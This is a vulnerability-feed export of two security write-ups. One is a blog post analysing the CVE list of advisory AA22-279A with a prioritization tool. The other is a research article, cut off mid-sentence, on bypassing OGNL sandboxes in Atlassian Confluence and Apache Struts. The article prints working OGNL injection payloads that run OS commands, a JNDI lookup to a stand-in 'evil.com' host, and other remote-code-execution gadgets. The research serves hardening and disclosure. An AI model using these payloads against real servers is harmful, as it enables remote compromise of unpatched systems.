AA22-279A](<https://media.defense.gov/2022/Oct/06/2003092365/-1/-1/0/Joint_CSA_Top_CVEs_Exploited_by_PRC_cyber_actors_.PDF>), and how I analyzed these vulnerabilities using my open source project [Vulristics](<https://github.com/leonov-av/vulristics>). \n\nAlternative video link (for Russia): <https://vk.com/video-149273431_456239105>\n\nAmericans can't just release a list of "20 vulnerabilities most commonly exploited in attacks on American organizations." They like to add geopolitics and point the finger at some country. Therefore, I leave the attack attribution mentioned in the advisory title without comment.\n\nBut I like such lists of vulnerabilities for a number of reasons:\n\n * Such lists of **vulnerabilities** show which CVEs need to be addressed. This is the most obvious. If you notice vulnerabilities from the list in your infrastructure, start fixing them as soon as possible.\n * Such lists of vulnerabilities show the **software and hardware products** that are most important to monitor. This means that your vulnerability scanner must support this software very well. Make sure you can verify this.\n * Such lists of vulnerabilities show **groups of software and hardware products **that need to be monitored first. Usually these are products that are available to a wide range of users and are inconvenient to upgrade.\n * Such lists of vulnerabilities show **the types of vulnerabilities** that you need to pay attention to first.\n * Such lists of vulnerabilities are relatively compact and **can be easily analyzed** even manually.\n\nI can't help but notice that the quality of the advisory is not very high. For example, the description of vulnerabilities was automatically taken from NVD. Including this: \n\n"Microsoft Exchange Server remote code execution vulnerability. This CVE ID differs from CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26858, CVE-2021-27065, and CVE-2021-27078". \n\nNot very informative, right? This joint advisory was released by three big serious organizations. They could work harder and write a unique text for each of the 20 CVEs. But no one seems to care.\n\nHere is a list of all vulnerabilities from the advisory:\n\n 1. Apache Log4j CVE-2021-44228 Remote Code Execution\n 2. Pulse Connect Secure CVE-2019-11510 Arbitrary File Read\n 3. GitLab CE/EE CVE-2021-22205 Remote Code Execution\n 4. Atlassian CVE-2022-26134 Remote Code Execution\n 5. Microsoft Exchange CVE-2021-26855 Remote Code Execution\n 6. F5 Big-IP CVE-2020-5902 Remote Code Execution\n 7. VMware vCenter Server CVE-2021-22005 Arbitrary File Upload\n 8. Citrix ADC CVE-2019-19781 Path Traversal\n 9. Cisco Hyperflex CVE-2021-1497 Command Line Execution\n 10. Buffalo WSR CVE-2021-20090 Relative Path Traversal\n 11. Atlassian Confluence Server and Data Center CVE-2021-26084 Remote Code Execution\n 12. Hikvision Webserver CVE-2021-36260 Command Injection\n 13. Sitecore XP CVE-2021-42237 Remote Code Execution\n 14. F5 Big-IP CVE-2022-1388 Remote Code Execution\n 15. Apache CVE-2022-24112 Authentication Bypass by Spoofing\n 16. ZOHO CVE-2021-40539 Remote Code Execution\n 17. Microsoft CVE-2021-26857 Remote Code Execution\n 18. Microsoft CVE-2021-26858 Remote Code Execution\n 19. Microsoft CVE-2021-27065 Remote Code Execution\n 20. Apache HTTP Server CVE-2021-41773 Path Traversal\n\nOf course, I did not deny myself the pleasure of using this list of CVEs as input for my [Vulristics vulnerability prioritization tool](<https://github.com/leonov-av/vulristics>). Just to see how Vulristics handles it and tweak Vulristics if needed.\n\nHere is the command I used to generate the report:\n \n \n $ python3.8 vulristics.py --report-type \"cve_list\" --cve-project-name \"AA22-279A\" --cve-list-path joint_cves.txt --cve-data-sources \"ms,nvd,vulners,attackerkb\" --cve-comments-path comments.txt --rewrite-flag \"True\"\n\nThe full report is here: <https://avleonov.com/vulristics_reports/aa22-279a_report_with_comments_ext_img.html>\n\n## Vulnerable Products\n\nIf you look at the list of vulnerable software and hardware products, then some of them, obviously, should have been included in this advisory. Because lately there have been a lot of publications about how attackers exploit the vulnerabilities in these products:\n\n * Apache HTTP Server\n * Apache Log4j2\n * GitLab\n * Microsoft Exchange\n * Confluence Server\n * Zoho ManageEngine ADSelfService Plus\n * Pulse Connect Secure\n\nThe second group of products. For them, there were also publications about attacks. But it seems that these are more niche products and are less perceived as targets for attackers:\n\n * BIG-IP\n * Citrix Application Delivery Controller\n * VMware vCenter\n * Cisco HyperFlex HX\n\nAnd finally, there are quite exotic products that apparently reflect the specifics of American IT:\n\n * Sitecore Experience Platform (XP)\n * Hikvision Web Server\n * Apache APISIX\n * Buffalo WSR\n\n## Criticality of Vulnerabilities\n\nVulristics has identified all vulnerabilities as vulnerabilities of the highest criticality level (Urgent). Vulristics found public exploits for all vulnerabilities.\n\nAt the same time, if you look at CVSS, then there is this:\n\nAll vulnerabilities: 20 \nCritical: 16 \nHigh: 4 \nMedium: 0 \nLow: 0\n\nSo if you are using CVSS for prioritization, don't forget about the High level vulnerabilities.\n\n## Detected Types of Vulnerabilities\n\n * Remote Code Execution\n * Command Injection\n * Arbitrary File Reading\n * Authentication Bypass\n * Path Traversal\n\nAs we can see, all vulnerabilities are obviously critical except for one "Path Traversal":\n\nPath Traversal - Citrix Application Delivery Controller (CVE-2019-19781)\n\nThe description of the vulnerability leaves no room for detecting another type:\n\n"An issue was discovered in Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. They allow Directory Traversal".\n\nThe same type is indicated in the advisory AA22-279A: Citrix ADC CVE-2019-19781 Path Traversal\n\nAnd only [in the description of the exploit](<https://github.com/trustedsec/cve-2019-19781>) we can see that this is in fact RCE: "This tool exploits a directory traversal bug within Citrix ADC (NetScalers) which calls a perl script that is used to append files in an XML format to the victim machine. This in turn allows for **remote code execution**."\n\nWell, this is another reminder to us that we should not do hard filtering by vulnerability type. It's also not a good idea to trust the description from NVD. The type of vulnerability may change over time, and no one will make changes to the description in NVD.\n\nIn some cases, Vulristics can help to more accurately determine the type of vulnerability:\n\nAA22-279A: Apache HTTP Server CVE-2021-41773 Path Traversal \nVulristics: Remote Code Execution - Apache HTTP Server (CVE-2021-41773)\n\nWhy? Because we can read in the description: "If CGI scripts are also enabled for these aliased pathes, this could allow for **remote code execution**."\n\nBut of course Vulristics is not a silver bullet. It is difficult to come up with something here other than manual analysis of publications about vulnerabilities and exploits.\n\nI also cannot help but point out that for some of the vulnerabilities, Vulrisitcs determined the types of vulnerabilities more correctly in accordance with the description:\n\nAA22-279A: GitLab CE/EE CVE-2021-22205 Remote Code Execution \nVulristics: Command Injection - GitLab (CVE-2021-22205) - Urgent [947] \n"\u2026 which resulted in a **remote command execution**."\n\nAA22-279A: Sitecore XP CVE-2021-42237 Remote Code Execution \nVulristics: Command Injection - Sitecore Experience Platform (XP) (CVE-2021-42237) \n"\u2026 it is possible to achieve **remote command execution** on the machine."\n\nAA22-279A: VMware vCenter Server CVE-2021-22005 Arbitrary File Upload \nVulristics: Remote Code Execution - VMware vCenter (CVE-2021-22005) \n"\u2026may exploit this issue **to execute code** on vCenter Server by uploading a specially crafted file."\n\nAA22-279A: F5 Big-IP CVE-2022-1388 Remote Code Execution \nVulristics: Authentication Bypass - BIG-IP (CVE-2022-1388) \n\u2026 undisclosed requests **may bypass** iControl REST **authentication**"\n\nAA22-279A: Apache HTTP Server CVE-2021-41773 Path Traversal \nVulristics: Remote Code Execution - Apache HTTP Server (CVE-2021-41773) \n"\u2026 this could allow for **remote code execution**."\n\nAA22-279A: Apache CVE-2022-24112 Authentication Bypass by Spoofing \nVulristics: Remote Code Execution - Apache APISIX (CVE-2022-24112) \n"\u2026 is vulnerable to **remote code execution**."\n\nAA22-279A: Buffalo WSR CVE-2021-20090 Relative Path Traversal \nVulristics: Authentication Bypass - Buffalo WSR (CVE-2021-20090) \n"\u2026 allow unauthenticated remote attackers to **bypass authentication**."\n\nTherefore, do not rush to trust the vulnerability type from the [CISA Known Exploited Vulnerabilities Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) and take it into account when prioritizing vulnerabilities.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-10-21T20:10:13", "type": "avleonov", "title": "Joint Advisory AA22-279A and Vulristics", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-5902", "CVE-2021-1497", "CVE-2021-20090", "CVE-2021-22005", "CVE-2021-22205", "CVE-2021-26084", "CVE-2021-26412", "CVE-2021-26854", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27078", "CVE-2021-36260", "CVE-2021-40539", "CVE-2021-41773", "CVE-2021-42237", "CVE-2021-44228", "CVE-2022-1388", "CVE-2022-24112", "CVE-2022-26134"], "modified": "2022-10-21T20:10:13", "id": "AVLEONOV:FEA9E4494A95F04BD598867C8CA5D246", "href": "https://avleonov.com/2022/10/21/joint-advisory-aa22-279a-and-vulristics/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "github": [{"lastseen": "2023-01-27T17:06:16", "description": "## Overview[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#overview>)\n\nObject Graph Notation Language (OGNL) is a popular, Java-based, expression language used in popular frameworks and applications, such as Apache Struts and Atlassian Confluence. In the past, OGNL injections led to some serious remote code execution (RCE) vulnerabilities, such as the [Equifax breach](<https://www.synopsys.com/blogs/software-security/equifax-apache-struts-vulnerability-cve-2017-5638/>), and over the years, protection mechanisms and mitigations against OGNL injections have been developed and improved to limit the impact of these vulnerabilities.\n\nIn this blog post, I will describe how I was able to bypass certain OGNL injection protection mechanisms, including the one used by Struts and the one used by Atlassian Confluence. The purpose of this blog post is to share different approaches used when analyzing this kind of protection so they can be used to harden similar systems.\n\nNo new OGNL injections are being reported as part of this research, and unless future OGNL injections are found on the affected frameworks/applications, or known double evaluations affect an existing Struts application, this research does not constitute any immediate risk for Apache Struts or Atlassian Confluence.\n\n## Hello OGNL, my old friend[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#hello-ognl-my-old-friend>)\n\nI have a past history of bugs found in Struts framework, including [CVE-2016-3087](<https://cwiki.apache.org/confluence/display/WW/S2-033>), [CVE-2016-4436](<https://cwiki.apache.org/confluence/display/WW/S2-035>), [CVE-2017-5638](<https://cwiki.apache.org/confluence/display/WW/S2-046>), [CVE-2018-1327](<https://cwiki.apache.org/confluence/display/WW/S2-056>), [CVE-2020-17530](<https://cwiki.apache.org/confluence/display/WW/S2-061>) and even some [double OGNL injections](<https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2/>) through both Velocity and FreeMarker tags that remain unfixed to this date. Therefore, I have become familiar with the OGNL sandbox and different escapes over the years and I am still interested in any OGNL-related vulnerabilities that may appear. That was the case with Atlassian Confluence, [CVE-2021-26084](<https://jira.atlassian.com/browse/CONFSERVER-67940>) and [CVE-2022-26134](<https://jira.atlassian.com/browse/CONFSERVER-79016>), where the former is an instance of the unresolved double evaluation via Velocity tags mentioned in my [2020 advisory](<https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2/>).\n\nMy friend, Man Yue Mo, wrote a [great article](<https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776/>) describing how the OGNL mitigations have been evolving over the years and there are few other posts that also describe in detail how these mitigations have been improving.\n\nIn 2020, disabling the sandbox became harder, so I decided to change the approach completely. I introduced new ways to get RCE by circumventing the sandbox, and using the application server\u2019s Instance Manager to instantiate arbitrary objects that I could use to achieve RCE. This research was presented at our Black Hat 2020 talk, [Scribbling outside of template security](<https://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf>). We reported this issue to the Apache Struts team, and they [fixed](<https://github.com/apache/struts/commit/8d3393f09a06ff4a2b6827b6544524d1d6af3c7c>) the issue by using a block list. However, in 2021, Chris McCown published a [new bypass technique](<https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html>) which leverages the OGNL\u2019s AST maps and the Apache Commons Collections BeanMap class.\n\nThat was it\u2013at that point I had enough of OGNL and stopped looking into it until two events happened in the same week:\n\n * My friend, [Mert](<https://twitter.com/mertistaken>), found what he thought was an SSTI in a bug bounty program. It turned out to be an OGNL injection, so he asked me to help him with the exploitation of the issue.\n * I read several tweets claiming that [CVE-2022-26134](<https://jira.atlassian.com/browse/CONFSERVER-79016>) was not vulnerable to RCE on the latest Confluence version (7.18.0 at that time).\n\nOkay, OGNL, my old friend. Here we go again.\n\n## Looking at Confluence `isSafeExpression` protection[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#looking-at-confluence-issafeexpression-protection>)\n\nWhen the CVE-2022-26134 was released there was an initial understanding that the [OGNL injection could not lead to direct RCE in the latest version 7.18.0](<https://twitter.com/httpvoid0x2f/status/1532924239216627712>) since the `isSafeExpression` method was not possible to bypass for that version\n\n\n\nHarsh Jaiswal ([@rootxharsh](<https://twitter.com/rootxharsh>)) and Rahul Maini ([@iamnoooob](<https://twitter.com/iamnoooob>)) took a different approach and looked for a gadget chain in the allowed classes list that could allow them to create an admin account.\n\n\n\nSoon after, [@MCKSysAr](<https://twitter.com/MCKSysAr>) found a [nice and simple bypass](<https://twitter.com/MCKSysAr/status/1533053536430350337>):\n\n 1. Use `Class` property instead of `class` one.\n 2. Use string concatenation to bypass string checks.\n\n \n \n\n\nMCKSysAr\u2019s bypass was soon addressed by blocking the access to the `Class` and `ClassLoader` properties. I had some other ideas, so I decided to take a look at the `isSafeExpression` implementation.\n\nThe first interesting thing I learned was that this method was actually parsing the OGNL expression into its AST form in order to analyze what it does and decide whether it should be allowed to be executed or not. Bye-bye to regexp-based bypasses.\n\nThen the main logic to inspect the parsed tree was the following:\n\n * Starting at the root node of the AST tree, recursively call `containsUnsafeExpression()` on each node of the tree.\n * If the node is an instance of `ASTStaticField`, `ASTCtor` or `ASTAssign` then the expression is deemed to be unsafe. This will prevent payloads using the following vectors: \n * Static field accesses\n * Constructors calls\n * Variable assignments\n * If the node is an `ASTStaticMethod` check that the class the method belongs to is in an allow list containing: \n * `net.sf.hibernate.proxy.HibernateProxy`\n * `java.lang.reflect.Proxy`\n * `net.java.ao.EntityProxyAccessor`\n * `net.java.ao.RawEntity`\n * `net.sf.cglib.proxy.Factory`\n * `java.io.ObjectInputValidation`\n * `net.java.ao.Entity`\n * `com.atlassian.confluence.util.GeneralUtil`\n * `java.io.Serializable`\n * If node is an `ASTProperty` checks block list containing (after the initial fix): \n * `class`\n * `Class`\n * `classLoader`\n * `ClassLoader`\n * If the property looks like a class name, check if the class's namespace is defined in the `unsafePackageNames` block list (too long to list here).\n * If node is an `ASTMethod`, check if we are calling `getClass` or `getClassLoader`.\n * If node is an `ASTVarRef`, check if the variable name is in `UNSAFE_VARIABLE_NAMES` block list: \n * `#application`\n * `#parameters`\n * `#request`\n * `#session`\n * `#_memberAccess`\n * `#context`\n * `#attr`\n * If node in an `ASTConst` (eg: a string literal), call `isSafeExpressionInternal` which will check the string against a block list (for example, harmful class names) and, in addition, it will parse the string literal as an OGNL expression and apply the `containsUnsafeExpression()` recursive checks on it.\n * If a node has children, repeat the process for the children.\n\nThis is a pretty comprehensive control since it parses the AST recursively and makes sure that any AST nodes considered harmful are either rejected or inspected further.\n\nMCKSysAr bypass was based on two things: A) `Class` and `ClassLoader` properties were not accounted for when inspecting `ASTProperty` nodes; and B) `\u201djava.lang.\u201d + \u201cRuntime\u201d` was parsed as an `ASTAdd` node with two `ASTConst` children. None of them matched any of the known harmful strings and when parsed as an OGNL expression, none of them were valid expressions so they were not parsed further. A) Was fixed quickly by disallowing access to `Class` and `ClassLoader` properties, but B) was not fixed since it was considered as a security in-depth control (it's impossible to analyze all variants in which a malicious string could be written).\n\nWith that in mind I took a look at the[ list of the OGNL AST nodes](<https://github.com/orphan-oss/ognl/tree/master/src/main/java/ognl>) to see if there was anything interesting that was not accounted for in the `isSafeExpression()` method.\n\n### Enter `ASTEval`[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#enter-asteval>)\n\nThe first one that got my attention was `ASTEval`. It looked very interesting and it was not accounted for by the `containsUnsafeExpression()` method.\n\n`ASTEval` are nodes in the form of `(expr)(root)` and they will parse the `expr` string into a new AST and evaluate it with `root` as its root node. This will allow us to provide an OGNL expression in the form of a string `(ASTConst)` and evaluate it! We know that `ASTConst` nodes are parsed as OGNL expressions and verified to not be harmful. However, we already saw that if we split the string literal in multiple parts, only the individual parts will be checked and not the result of the concatenation. For example, for the payload below `#application` will never get checked, only `#` and `application` which are deemed to be safe:\n\n \n \n\n\nAs you can see in the resulting tree, there are no hints of any `ASTVarRef` node and therefore access to `#application` is granted.\n\n### Weaponizing `ASTEval`[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#weaponizing-asteval>)\n\nThere are multiple ways to craft a payload levering this vector. For example, we could get arbitrary RCE with echoed response:\n \n \n ('(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@get'+'Runtime().exec(\"id\").getInputStream(),\"utf-8\")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(\"X-Cmd-Response\",#a))')('')\n \n \n\n\n\n### Enter `ASTMap`, `ASTChain` and `ASTSequence`[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#enter-astmap-astchain-and-astsequence>)\n\nI was already familiar with `ASTMap`s from reading [Mc0wn's great article](<https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html>). In a nutshell, OGNL allows developers to instantiate any `java.util.Map` implementation by using the `@<class_name>@{}` syntax.\n\nUsing this technique, we were able to use a `BeanMap` (a map wrapping a Java bean and exposing its getters and setters as map entries) to bypass the `getClass` limitation by rewriting the payload as:\n \n \n \n BeanMap map = @org.apache.commons.beanutils.BeanMap@{};\n \n map.setBean(\u201c\u201d)\n \n map.get(\u201cclass\u201d).forName(\u201djavax.script.ScriptEngineManager\u201d).newInstance().getEngineByName(\u201cjs\u201d).eval(payload)\n \n \n\nThis payload avoids calling the `BeanMap` constructor explicitly and, therefore, gets rid of the `ASTCtor` limitation. In addition, it allows us to call `Object.getClass()` implicitly by accessing the `class` item. However, we still have another problem: we need to be able to assign the map to a variable (`map`) so we can call the `setBean()` method on it and later call the `get()` method on the same map. Since `ASTAssign` was blocked, assignments were not an option. Fortunately, looking through the list of AST nodes, two more nodes got my attention: `ASTChain` and `ASTSequence`.\n\n * `ASTChain` allows us to pass the result of one evaluation as the root node of the next evaluation. For example: `(one).(two)` will evaluate `one` and use its result as the root for the evaluation of `two`.\n * `ASTSequence` allows us to run several evaluations on the same root object in sequence. For example: `one, two` will evaluate `one` and then `two` using the same root node.\n\nThe idea was to bypass `ASTAssign` constraint by combining `ASTChain` and `ASTSequence` together\n\nWe can set the map returned by the `ASTMap` expression as the root for a sequence of expressions so all of them will have the map as its root object:\n \n \n \n (#@BeanMap@{}).(expression1, expression2)\n \n \n\nIn our case, `expression1` is the call to `setBean()` and `expression2` is the call to `get()`.\n\nTaking that into account and splitting literal strings into multiple parts to bypass the block list we got the following payload:\n \n \n \n (#@org.apache.commons.beanutils.BeanMap@{}).(setBean(''),get('cla'+'ss').forName('javax'+'.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('7*7'))\n \n \n\nThe final AST tree bypassing all `isSafeExpression` checks is:\n\n \n \n\n\nThere was a final problem to solve. The OGNL injection sink was `translateVariable()` which resolves OGNL expressions wrapped in `${expressions}` delimiters. Therefore, our payload was not allowed to contain any curly brackets. Fortunately, for us, [OGNL will replace unicode escapes](<https://github.com/apache/commons-ognl/blob/master/src/main/jjtree/ognl.jjt#L36-L37>) for us so we were able to use the final payload:\n \n \n \n (#@org.apache.commons.beanutils.BeanMap@\\\\u007b\\\\u007d).(setBean(''),get('cla'+'ss').forName('javax'+'.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('7*7'))\n \n \n\nI submitted these bypasses to Atlassian through its bug bounty program and, even though I was not reporting any new OGNL injections but a bypass of its sandbox, they were kind enough to award me with a $3,600 bounty!\n\n## Looking into Struts2[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#looking-into-struts2>)\n\nAs mentioned before, a friend found what he thought was a Server-Side Template Injection (SSTI) (`%{7*7}` => 49) but it turned out to be an OGNL injection. Since this happened as part of a bug bounty program, I didn\u2019t have access to the source code. I can't be sure if the developers were passing untrusted data to an OGNL sink (for example, `[ActionSupport.getText()](<https://struts.apache.org/maven/struts2-core/apidocs/com/opensymphony/xwork2/ActionSupport.html#getText-java.lang.String->)`), or if it was some of the [unfixed double evaluations issues](<https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2/>) (still working at the time of writing). Anyhow, the application seemed to be using the latest Struts version and known payloads were not working. I decided to take a deeper look.\n\n### New gadgets on the block[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#new-gadgets-on-the-block>)\n\nWhen I listed what objects were available I was surprised to find that many of the usual objects in the Struts OGNL context, such as the value stack, were not there, and some others I haven't seen before were available. One of such objects was `#request[\u2018.freemarker.TemplateModel\u2019]`. This object turned out to be an instance of `org.apache.struts2.views.freemarker.ScopesHashModel` containing a variety of new objects. One of them (stored under the `ognl` key) gave me access to an `org.apache.struts2.views.jsp.ui.OgnlTool` instance. Looking at the code for this class I quickly spotted that it was calling `Ognl.getValue()`. This class is not part of Struts, but the OGNL library and, therefore, the Struts sandbox (member access policy) was not enabled! In order to exploit it I used the following payload:\n \n \n \n #request[\u2018.freemarker.TemplateModel\u2019].get(\u2018ognl\u2019).getWrappedObject().findValue(\u2018(new freemarker.template.utility.Execute()).exec({\u201cwhoami\u201d})\u2019, {})\n \n \n\nThat was enough to get the issue accepted as a remote code execution in the bounty program. However, despite having achieved RCE, there were a few unsolved questions:\n\n * Why was this `.freemarker.TemplateModel` object available?\n * Are there any other ways to get RCE on the latest Struts versions?\n\n### Post-invocations Context[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#post-invocations-context>)\n\nAttackers are limited to the objects they are able to access. Normally, OGNL injections take place before the action invocation completes and the action\u2019s `Result` is rendered.\n\nhttps://struts.apache.org/core-developers/attachments/Struts2-Architecture.png\n\nWhen grepping the Struts\u2019s source code for `.freemarker.TemplateModel`, I found out that there are plenty of new objects added to the request scope when preparing the action\u2019s `Result` in order to share them with the view layer (JSP, FreeMarker or Velocity) and `.freemarker.TemplateModel` was [one of them](<https://github.com/apache/struts/blob/266d2d4ed526edbb8e8035df94e94a1007d7c360/core/src/main/java/org/apache/struts2/views/freemarker/FreemarkerManager.java#L122>). However, those objects are only added after the `ActionInvocation` has been invoked. This implies that if I find `.freemarker.TemplateModel` on the request scope, my injection was evaluated after the action invocation finished building the action\u2019s `Result` object and, therefore, my injection probably did not take place as part of the Struts code but as a [double evaluation in the FreeMarker template](<https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2/>).\n\nThese new objects will offer new ways to get remote code execution, but only if you are lucky to get your injection evaluated after the action\u2019s `Result` has been built. Or not? \n\nIt turned out that the ongoing `ActionInvocation` object can be accessed through the OGNL context and, therefore, we can use it to force the building of the `Result` object in advance. Calling the `Result`s `doExecute()` method will trigger the population of the so-called template model. For example, for Freemarker, `ActionInvocation.createResult()` will create a `FreemarkerResult` instance. Calling its `doExecute()` method will, in turn, call its `[createModel()](<https://github.com/apache/struts/blob/266d2d4ed526edbb8e8035df94e94a1007d7c360/core/src/main/java/org/apache/struts2/views/freemarker/FreemarkerResult.java#L273>)` method that will populate the template model.\n \n \n \n (#ai=#attr['com.opensymphony.xwork2.ActionContext.actionInvocation'])+\n \n (#ai.setResultCode(\"success\"))+\n \n (#r=#ai.createResult())+\n \n (#r.doExecute(\"pages/test.ftl\",#ai))\n \n \n\nExecuting the above payload will populate the request context with new objects. However, that requires us to know the result code and the template\u2019s path. Fortunately, we can also invoke the `ActionInvocation.invoke()` method that will take care of everything for us!\n \n \n \n #attr['com.opensymphony.xwork2.ActionContext.actionInvocation'].invoke()\n \n \n\nThe line above will result in the template model being populated and stored in the request, and context scopes regardless of where your injection takes place.\n\n### Wild objects appeared[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#wild-objects-appeared>)\n\nAfter the invocation, the request scope and value stack will be populated with additional objects. These objects vary depending on the view layer used. What follows is a list of the most interesting ones (skipping most of them which do not lead to RCE):\n\nFor Freemarker:\n\n * `.freemarker.Request` (`freemarker.ext.servlet.HttpRequestHashModel`)\n * `.freemarker.TemplateModel` (`org.apache.struts2.views.freemarker.ScopesHashModel`) \n * `__FreeMarkerServlet.Application__` (`freemarker.ext.servlet.ServletContextHashModel`) \n * `JspTaglibs` (`freemarker.ext.jsp.TaglibFactory`)\n * `.freemarker.RequestParameters` (`freemarker.ext.servlet.HttpRequestParametersHashModel`)\n * `.freemarker.Request` (`freemarker.ext.servlet.HttpRequestHashModel`)\n * `.freemarker.Application` (`freemarker.ext.servlet.ServletContextHashModel`) \n * `.freemarker.JspTaglibs` (`freemarker.ext.jsp.TaglibFactory`) \n * `ognl` (`org.apache.struts2.views.jsp.ui.OgnlTool`) \n * `stack` (`com.opensymphony.xwork2.ognl.OgnlValueStack`) \n * `struts` (`org.apache.struts2.util.StrutsUtil`) \n\nFor JSPs:\n\n * `com.opensymphony.xwork2.dispatcher.PageContext` (`PageContextImpl`)\n\nFor Velocity:\n\n * `.KEY_velocity.struts2.context` -> (`StrutsVelocityContext`) \n * `ognl` (`org.apache.struts2.views.jsp.ui.OgnlTool`)\n * `struts` (`org.apache.struts2.views.velocity.result.VelocityStrutsUtils`)\n\n### Getting RCE with new objects[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#getting-rce-with-new-objects>)\n\nAnd now let\u2019s have some fun with these new objects! In the following section I will explain how I was able to leverage some of these objects to get remote code execution.\n\n#### ObjectWrapper[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#objectwrapper>)\n\nThere may be different ways to get an instance of a FreeMarker\u2019s `ObjectWrapper`, even if the application is not using FreeMarker as its view layer because Struts uses it internally for rendering JSP tags. A few of them are listed below:\n\n * Through `freemarker.ext.jsp.TaglibFactory.getObjectWrapper()`. Even though Struts\u2019 sandbox forbids access to `freemarker.ext.jsp` package, we can still access it using a BeanMap:\n \n \n \n (#a=#@org.apache.commons.collections.BeanMap@{ })+\n \n (#a.setBean(#application[\".freemarker.JspTaglibs\"]))+\n \n (#a['objectWrapper'])\n \n \n\n * Through `freemarker.ext.servlet.HttpRequestHashModel.getObjectWrapper()`:\n \n \n \n (#request.get('.freemarker.Request').objectWrapper)\n \n \n\n * Through `freemarker.core.Configurable.getObjectWrapper()`. We need to use the BeanMap trick to access it since `freemarker.core` is also blocklisted:\n \n \n \n (#a=#@org.apache.commons.collections.BeanMap@{ })+\n \n (#a.setBean(#application['freemarker.Configuration']))+\n \n #a['objectWrapper']\n \n \n\nNow for the fun part, what can we do with an `ObjectWrapper`? There are three interesting methods we can leverage to get RCE:\n\n**`newInstance(class, args)`**\n\nThis method will allow us to instantiate an arbitrary type. Arguments must be wrapped, but the return value is not. For example, we can trigger a JNDI injection lookup:\n \n \n \n objectWrapper.newInstance(@javax.naming.InitialContext@class,null).lookup(\"ldap://evil.com\")\n \n \n\nOr, if Spring libs are available, we can get RCE by supplying a malicious [XML config](<https://raw.githubusercontent.com/irsl/jackson-rce-via-spel/master/spel.xml>) for `FileSystemXmlApplicationContext` constructor:\n \n \n \n objectWrapper.newInstance(@org.springframework.context.support.FileSystemXmlApplicationContext@class,{#request.get('.freemarker.Request').objectWrapper.wrap(\"URL\")})\n \n \n\n`**getStaticModels()`**\n\nThis method allows us to get static fields from arbitrary types. The return object is wrapped in a FreeMarker\u2019s `TemplateModel` so we need to unwrap it. An example payload levering [Text4Shell](<https://securitylab.github.com/advisories/GHSL-2022-018_Apache_Commons_Text/>):\n \n \n \n objectWrapper.staticModels.get(\"org.apache.commons.text.lookup.StringLookupFactory\").get(\"INSTANCE\").getWrappedObject().scriptStringLookup().lookup(\"javascript:3+4\")\n \n \n\n`**wrapAsAPI()`**\n\nThis method allows us to wrap any object with a `freemarker.ext.beans.BeanModel` giving us indirect access to its getters and setters methods. Struts\u2019 sandbox will not have visibility on these calls and therefore they can be used to call any blocklisted method.\n\n * `BeanModel.get('field_name')` returns a `TemplateModel` wrapping the object.\n * `BeanModel.get('method_name')` returns either a `SimpleMethodModel` or `OverloadedMethodsModel` wrapping the method.\n\nWe can, therefore, call any blocklisted method with:\n \n \n \n objectWrapper.wrapAsAPI(blocked_object).get(blocked_method)\n \n \n\nThis call will return an instance of `TemplateMethodModelEx`. Its `[exec()](<https://freemarker.apache.org/docs/api/freemarker/template/TemplateMethodModelEx.html#exec-java.util.List->)` method is defined in the `freemarker.template` namespace and, therefore, trying to invoke this method will get blocked by the Struts sandbox. However, `TemplateMethodModelEx` is an interface and what we will really get is an instance of either `freemarker.ext.beans.SimpleMethodModel` or `freemarker.ext.beans.OverloadedMethodsModel`. Since the `exec()` methods on both of them are 